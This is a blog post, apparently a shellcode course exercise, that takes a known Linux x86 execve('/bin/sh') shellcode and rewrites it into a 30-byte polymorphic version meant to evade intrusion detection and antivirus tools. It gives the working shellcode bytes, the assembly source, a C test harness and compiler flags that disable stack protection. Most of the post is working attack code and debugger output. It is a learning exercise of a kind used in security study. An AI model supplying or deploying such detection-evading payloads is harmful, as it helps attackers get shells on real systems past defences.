Obfuscation Fun – /bin/sh

The shellcode for having some fun with was retrieved from the shell-storm website here.

/*
Title: linux/x86 Shellcode execve ("/bin/sh") - 21 Bytes
Date     : 10 Feb 2011
Author   : kernel_panik
Thanks   : cOokie, agix, antrhacks
*/
     
#include <stdio.h>
#include <string.h>
     
char code[] = 
"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\xb0\x0b\xcd\x80";
     
int main(int argc, char **argv)
{
    printf ("Shellcode length : %d bytesn", strlen (code));
    int(*f)()=(int(*)())code;
    f();
}

The task is to create an obfuscated version of this shellcode in order to defeat some form of intrusion detection system, i.e. an anti-virus application, etc.

Initial disassembly of shellcode:

$ echo -ne “\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80” | ndisasm -u –

00000000  31C9              xor ecx,ecx            ; zero ecx 
00000002  F7E1              mul ecx                ; zero eax,ecx,edx
00000004  51                push ecx               ; null
00000005  682F2F7368        push dword 0x68732f2f  ; hs
0000000A  682F62696E        push dword 0x6e69622f  ; nib
0000000F  89E3              mov ebx,esp            ; ebx function args
00000011  B00B              mov al,0xb             ; execve()
00000013  CD80              int 0x80               ; make the call

The above shellcode is a very common way to invoke a shell using the execve() system call. Therefore it will be easily picked up by various intrusion detection systems.
This is how the original shellcode looks when analysed under the GNU Debugger (gdb).

$ gdb -q shellcode
Reading symbols from shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break *&code
Breakpoint 1 at 0x80496e0
(gdb) run
Starting program: shellcode 
Shellcode length : 21 bytes

Breakpoint 1, 0x080496e0 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
=> 0x080496e0 <+0>:	xor    ecx,ecx
   0x080496e2 <+2>:	mul    ecx
   0x080496e4 <+4>:	push   ecx
   0x080496e5 <+5>:	push   0x68732f2f
   0x080496ea <+10>:	push   0x6e69622f
   0x080496ef <+15>:	mov    ebx,esp
   0x080496f1 <+17>:	mov    al,0xb
   0x080496f3 <+19>:	int    0x80
   0x080496f5 <+21>:	add    BYTE PTR [eax],al
End of assembler dump.
(gdb) 

As you will observe it is really no different from the disassembled shellcode, therefore it will be easy to detect. Right, so how is this countered, well first is to work on getting rid of what is obvious. What looks to stand out from this shellcode are the push statements that contain the bytes of the command to be executed, namely /bin//sh, as can be seen below.

00000005  682F2F7368        push dword 0x68732f2f  ; hs
0000000A  682F62696E        push dword 0x6e69622f  ; nib

One way to get around this is to put these bytes into a data area, this will defeat any immediate disassembly or debugging of the shellcode showing these bytes, as they will be decoded as opcodes obscuring there actual intent. For example, take this basic assembly program, which will segfault, but demonstrate the idea.

global _start
section .text
_start:
    jmp lbl1
lbl1:
    db 0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68

To build the code:
$ nasm -felf32 -o test.o test.asm
$ ld -l test test.o
Below are listed an objdmp and a gdb session on the above assembled binary.

$ objdump -d test -M intel
test1:     file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
 8048060:	eb 00        jmp    8048062 <lbl1>
08048062 <lbl1>:
 8048062:	2f           das    
 8048063:	62 69 6e     bound  ebp,QWORD PTR [ecx+0x6e]
 8048066:	2f           das    
 8048067:	2f           das    
 8048068:	73 68        jae    80480d2 <lbl1+0x70>

$ gdb -q test
Reading symbols test...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break _start
Breakpoint 1 at 0x8048060
(gdb) run
Starting program: test 

Breakpoint 1, 0x08048060 in _start ()
(gdb) disassemble 
Dump of assembler code for function _start:
=> 0x08048060 <+0>:	jmp    0x8048062 <lbl1>
End of assembler dump.
(gdb) stepi
0x08048062 in lbl1 ()
(gdb) disassemble 
Dump of assembler code for function lbl1:
=> 0x08048062 <+0>:	das    
   0x08048063 <+1>:	bound  ebp,QWORD PTR [ecx+0x6e]
   0x08048066 <+4>:	das    
   0x08048067 <+5>:	das    
   0x08048068 <+6>:	jae    0x80480d2
End of assembler dump.
(gdb) 

You can see that it no longer looks like two push statements with an obvious byte pattern. Now onto the rest of the code. With the bytes contained within a data directive, the jmp/call/pop technique can be used to load these bytes onto the stack as arguments, but rather than the obvious mov, xchg would make a more interesting addition to the obfuscation of code. Another simple change would be to use imul instead of mul, not much of a difference but enough. Another simple change is to add al,0xb rather than a straightforward mov, again not groundbreaking but opcodes vary enough for it to be useful. Finally to add a little dash of nonsense, namely cdq, nothing serious just for fun.

So the final program is as follows,

global _start
section .text
_start:
    xor  ecx,ecx
    imul ecx
    push ecx
    add  al,0x0b
    jmp  lbl1
lbl2:
    pop  esi
    xchg esp,esi
    cdq
    xchg ebx,esp
    int  0x80
lbl1:
    call lbl2
    db 0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68

To build the code:
$ nasm -felf32 -o test.o test.asm
$ ld -l test test.o

Get shellcode from executable:
Use the following from the commandlinefu website replacing PROGRAM with the name of the required executable like so,

$ objdump -d ./test|grep ‘[0-9a-f]:’|grep -v ‘file’|cut -f2 -d:|cut -f1-6 -d’ ‘|tr -s ‘ ‘|tr ‘t’ ‘ ‘|sed ‘s/ $//g’|sed ‘s/ /x/g’|paste -d ” -s |sed ‘s/^/”/’|sed ‘s/$/”/g’

“\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68”

The shellcode can be copied and pasted into a test program, similar to the one below.

#include <stdio.h>

unsigned char code[] = 
"\x31\xc9\xf7\xe9\x51\x04\x0b\xeb\x08\x5e\x87\xe6\x99\x87\xdc\xcd\x80"
"\xe8\xf3\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68";

main()
{
    printf("Shellcode Length: %dn", sizeof(code)-1);
    int (*ret)() = (int(*)())code;
    ret();
}

Build the code:
$ gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
The options for gcc are to disable stack protection and enable stack execution respectively. Without these options the code will cause a segfault.

Test the shellcode:
$ ./shellcode
Shellcode Length: 30
$ exit

Below is a gdb session of the polymorphic version of the shellcode.

$ gdb -q shellcode
Reading symbols from shellcode...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) break *&code
Breakpoint 1 at 0x80496e0
(gdb) run
Starting program: shellcode 
Shellcode length : 30 bytes

Breakpoint 1, 0x080496e0 in code ()
(gdb) disassemble 
Dump of assembler code for function code:
=> 0x080496e0 <+0>:	xor    ecx,ecx
   0x080496e2 <+2>:	imul   ecx
   0x080496e4 <+4>:	push   ecx
   0x080496e5 <+5>:	add    al,0xb
   0x080496e7 <+7>:	jmp    0x80496f1 <code+17>
   0x080496e9 <+9>:	pop    esi
   0x080496ea <+10>:	xchg   esi,esp
   0x080496ec <+12>:	cdq    
   0x080496ed <+13>:	xchg   esp,ebx
   0x080496ef <+15>:	int    0x80
   0x080496f1 <+17>:	call   0x80496e9 <code+9>
   0x080496f6 <+22>:	das    
   0x080496f7 <+23>:	bound  ebp,QWORD PTR [ecx+0x6e]
   0x080496fa <+26>:	das    
   0x080496fb <+27>:	das    
   0x080496fc <+28>:	jae    0x8049766
   0x080496fe <+30>:	add    BYTE PTR [eax],al
End of assembler dump.

As you can see the above segment is different from that of the original. Though any self respecting intrusion/virus detection system will have no problem with it, the aim was just to mess around with some shellcode, so in that respect it works for me.

Update: shell-storm.org database entry here.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s